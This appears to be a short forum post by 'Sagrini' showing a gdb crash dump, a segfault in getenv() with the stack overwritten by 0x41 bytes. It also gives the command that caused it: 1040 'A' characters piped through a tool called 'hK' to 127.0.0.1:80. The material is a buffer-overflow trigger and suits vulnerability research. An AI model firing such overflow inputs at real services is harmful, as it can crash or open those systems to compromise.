Program received signal SIGSEGV, Segmentation fault.
0xb76f83c1 in getenv () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/5000b $esp
[...]
0xbfe1a0b0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0b8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0c0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0c8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0d0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0d8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0e0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0e8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0f0:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a0f8:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a100:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a108:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0xbfe1a110:   0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
[...]
(gdb)
---------------------------------------------------------
sagrini@sagrini:~$ perl -e 'print "A"x1040' | hK vc 127.0.0.1 80
hK 2.0 - By Sagrini (2010) - 22/03/2011 18:12:23
22/03/2011 18:12:23   Got connection with 127.0.0.1:80

Un saludo
Sagrini